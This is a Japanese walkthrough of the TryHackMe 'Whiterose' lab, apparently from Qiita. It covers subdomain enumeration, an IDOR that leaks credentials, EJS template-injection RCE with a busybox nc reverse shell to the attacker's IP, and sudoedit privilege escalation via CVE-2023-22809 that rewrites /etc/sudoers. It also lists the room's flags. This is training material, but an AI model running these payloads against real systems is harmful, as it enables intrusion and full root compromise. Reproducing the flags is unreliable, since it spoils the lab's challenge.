0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Whiterose:Walkthrough

0
Posted at

概要

TryHackMe「Whiterose」のWalkthroughです。

Task1

Q1.What's Tyrell Wellick's phone number?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -A -p- 10.49.162.59 -oN nmap_result

PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9:07:96:0d:c4:b6:0c:d6:22:1a:e4:6c:8e:ac:6f:7d (RSA)
|   256 ba:ff:92:3e:0f:03:7e:da:30:ca:e3:52:8d:47:d9:6c (ECDSA)
|_  256 5d:e4:14:39:ca:06:17:47:93:53:86:de:2b:77:09:7d (ED25519)
80/tcp    open     http           nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.0 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http nginx/1.14.0

80番ポートにアクセスすると、cyprusbank.thmというドメインが分かりました。
/etc/hostsにドメインを追記し、名前解決するとWebサイトが表示されました。

image.png

cyprusbank.thmに対しディレクトリスキャンを実行しましたが、何も発見できませんでした。

$ dirsearch -u http://cyprusbank.thm/


  _|. _ _  _  _  _ _|_    v0.4.3                                                           
 (_||| _) (/_(_|| (_| )                                                                                              
                                                                                                                     
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Whiterose/reports/http_cyprusbank.thm/__26-04-24_08-54-02.txt

Target: http://cyprusbank.thm/

[08:54:02] Starting:                                                                                                 
                                                                             
Task Completed

サブドメインを列挙すると、www,adminの2つを発見しました。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.cyprusbank.thm" -u http://cyprusbank.thm -fs 57

www                     [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 134ms]
admin                   [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 138ms]

www.cyprusbank.thmは同様のメンテナンスページです。

image.png

admin.cyprusbank.thmにアクセスすると、ログインフォームが表示されました。

image.png

このルームのテキストからOlivia Cortez:olivi8という情報を得られました。
ログインフォームにこの名前とパスワードを入力すると、管理パネルへのログインに成功しました。
しかし、各アカウントの電話番号がマスクされており、確認できません。

image.png

メッセージページに遷移するとチャットの履歴を見る事が出来ます。

image.png

パスが/messages/?c=5となっており、ページをパラメータの数値で設定しています。
/messages/?c=1とする事で、他チャットも閲覧出来ました。

image.png

パラーメータ値を0にすると、チャットの内容からGayle Bevのパスワードを確認できました。

image.png

Username: Gayle Bev,Password: p~]P@5!6;rs558:qで新たにログインが成功しました。
データの閲覧権限が分かれており、このアカウントでは電話番号を確認できました。

image.png

A.842-029-5701

Q2.What is the user.txt flag?

Gayle Bevアカウントで、/settingsページに遷移すると認証フォームを発見しました。

image.png

Saveボタンを押下すると、パスワードの入力値が画面に出力されると分かりました。
XSSやSSTIが刺さる可能性があります。

image.png

リクエストの内容を変更し、nameパラーメーターのみ送信します。
するとエラーページが表示され、EJSテンプレートエンジンを使用していると分かりました。

image.png

EJSでのSSTIを調べると、RCEに繋げられる脆弱性があると分かりました。

記事を参考に、pingを実行するペイロードを組みました。

name=name&password=pass&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('ping -c 1 192.168.183.253');s

ペイロードを送信すると脆弱性を悪用できました。

$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:21:59.650144 IP cyprusbank.thm > 192.168.183.253: ICMP echo request, id 8042, seq 1, length 64
10:21:59.650161 IP 192.168.183.253 > cyprusbank.thm: ICMP echo reply, id 8042, seq 1, length 64

実行コマンドをリバースシェルのコマンドに変更します。

.execSync('busybox nc 192.168.183.253 1234 -e sh')

webアカウントでシェルを張れました。

$ nc -lvnp 1234                                        
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.49.162.59] 48770
id
uid=1001(web) gid=1001(web) groups=1001(web)

TTYの設定をします。

python3 -c "import pty;pty.spawn('/bin/bash');"

ユーザーフラグを入手できました。

web@cyprusbank:~$ cat user.txt
cat user.txt
THM{4lways_upd4te_uR_d3p3nd3nc!3s}

A.THM{4lways_upd4te_uR_d3p3nd3nc!3s}

Q3.What is the root.txt flag?

自身のSSH公開鍵をサーバーに設置します。

$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkcG3J2Ah2iMj8byUhQY2SaTjvXZkh7zj5et6r+m9Q1 kali@kali" > .ssh/authorized_keys

公開鍵認証方式でSSH接続をします。

$ ssh -i ~/.ssh/id_ed25519 web@10.48.134.177

sudo -lを確認します。

web@cyprusbank:~$ sudo -l
sudo -l
Matching Defaults entries for web on cyprusbank:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User web may run the following commands on cyprusbank:
    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

sudoeditコマンドを利用できると分かりました。
このコマンドの脆弱性を検索すると、権限昇格の脆弱性であるCVE-2023-22809がヒットしました。

脆弱性の記事通りペイロードを実行します。

$ export EDITOR="vim -- /etc/sudoers"
$ sudo -u root sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

/etc/sudoersを編集できるようになったので、パスワード無しroot権限で全コマンドを実行できるようにします。

web     ALL=(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
web     ALL=(ALL) NOPASSWD: ALL

sudo -lで再度確認すると、先ほどの設定変更が反映されていると分かります。

web@cyprusbank:~$ sudo -l
Matching Defaults entries for web on cyprusbank:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User web may run the following commands on cyprusbank:
    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
    (ALL) NOPASSWD: ALL

rootアカウントに昇格出来ました。

web@cyprusbank:~$ sudo su root
root@cyprusbank:/home/web# id
uid=0(root) gid=0(root) groups=0(root)

ルートフラグを入手できました。

root@cyprusbank:/home/web# cat /root/root.txt 
THM{4nd_uR_p4ck4g3s}

A.THM{4nd_uR_p4ck4g3s}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?